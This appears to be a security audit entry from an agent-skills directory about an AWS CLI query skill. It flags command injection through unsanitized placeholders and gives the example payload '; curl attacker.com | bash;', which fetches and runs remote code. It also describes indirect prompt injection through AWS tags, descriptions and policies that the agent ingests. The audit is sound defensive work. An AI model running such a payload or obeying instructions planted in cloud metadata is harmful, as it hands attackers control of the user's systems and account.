The Agent Skills Directory

[COMMAND_EXECUTION]: The skill maps natural language intent to specific shell commands using the AWS CLI. It employs several placeholders for user-supplied data, such as <name>, <cluster>, <arn>, and <id>. If the underlying agent platform does not rigorously sanitize or escape these inputs before execution, an attacker could potentially achieve command injection (e.g., by providing a resource name like ; curl attacker.com | bash;).
[INDIRECT_PROMPT_INJECTION]: The skill is designed to ingest and display metadata from an AWS environment, including resource tags, descriptions, and policies. Since these fields can often be modified by other users or processes within the cloud account, they represent an untrusted data source. Malicious instructions embedded in these fields could attempt to influence the agent's behavior during the 'Execute & Format' phase of the workflow.
Ingestion points: Data enters the context via aws <service> describe-* and list-* commands executed in SKILL.md.
Boundary markers: The skill includes a 'Safety Contract' and explicit 'Output Formatting Rules' to constrain behavior, but does not provide specific delimiters for the data returned from the AWS CLI.
Capability inventory: The skill has the capability to execute any aws CLI command it is permitted to run, including complex queries and output formatting via sort, uniq, and date.
Sanitization: There is no explicit logic provided for sanitizing or escaping the output of the CLI commands before they are presented to the user.

aws-resource-query